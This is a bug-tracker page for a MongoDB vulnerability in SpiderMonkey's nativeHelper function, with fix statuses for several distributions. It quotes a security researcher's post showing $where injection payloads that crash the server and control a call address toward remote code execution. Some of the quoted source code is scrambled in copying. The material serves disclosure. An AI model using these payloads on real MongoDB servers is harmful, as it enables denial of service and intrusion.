Unchecked access to SpiderMonkey’s JavaScript nativeHelper function
Bug #1160893 reported by
James Page
This bug affects 2 people
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
mongodb (Debian) |
Fix Released
|
Unknown
|
|||
mongodb (Fedora) |
Fix Released
|
High
|
|||
mongodb (Ubuntu) |
Fix Released
|
High
|
James Page | ||
Precise |
Fix Released
|
High
|
Unassigned |
Bug Description
Unchecked access to SpiderMonkey’s JavaScript nativeHelper function. See SERVER-9124, Fix available in 2.2.4, 2.4.2, and 2.0.9.
Changed in mongodb (Ubuntu): | |
importance: | Undecided → High |
status: | New → Triaged |
Changed in mongodb (Ubuntu Precise): | |
status: | New → Triaged |
Changed in mongodb (Debian): | |
status: | Unknown → Fix Released |
Changed in mongodb (Fedora): | |
importance: | Unknown → High |
status: | Unknown → Fix Released |
To post a comment you must log in.
SCRT Information Security reports:
mongodb – SSJI to RCE
Posted on mars 24, 2013 par agixid
Lucky discovery
Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :
> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
Unfortunately, this command is only effective in mongo client :
> db.my_collectio n.find( {$where: "run('ls' )"})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
"code" : 10071
}
But let’s dig a little bit.
> run apply(run_ , arguments); apply(run_ ,["uname" ,"-a"]) ;
function () {
return nativeHelper.
}
So you can run the « run » function directly by calling nativeHelper.
In server side, the result show us that nativeHelper.apply method exists !
> db.my_collectio n.find( {$where: 'nativeHelper. apply(run_ , ["uname","-a"]);'})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
"code" : 10071
}
So what’s run_ ?
So what's "run_"
> run_
{ "x" : 135246144 }
An associative array, can we use it in server side ?
> db.my_collectio n.find( {$where: 'nativeHelper. apply({ "x":135246144} , ["uname","-a"]);'}) :init call() failed my_collection { $where: "nativeHelper. apply({ "x":135246144} , ["uname","-a"]);" } to: 127.0.0.1:27017
Sun Mar 24 07:15:26 DBClientCursor:
Sun Mar 24 07:15:26 query failed : sthack.
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
The server crashed \o/ !
Let’s check the source code : scripting/ engine_ spidermonkey. cpp
./src/mongo/
JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
Convertor c(cx);
NativeFunc tion func = reinterpret_cast(
static_ cast( c.getNumber( obj , "x" ) ) ); cast<void* >(
static_ cast( c.getNumber( obj , "y" ) ) );
try {
void* data = reinterpret_
verify( func );
BSONObj a;
BSONObjBuilde r args;
c. append( args , args.numStr( i ) , argv[i] );
if ( argc > 0 ) {
for ( uintN i = 0; i < argc; ++i ) {
}
a = args.obj();
}
BSONObj out;
try {
out = func( a, data );
}
catch ( std::exception& e ) {
nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!
> db.my_collectio n.find( {$where: 'nativeHelper. apply({ "x":0x31337} , ["uname","-a"]);'})
Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).
External references: blog.scrt. ch/2013/ 03/24/mongodb- 0-day-ssji- to-rce/
http://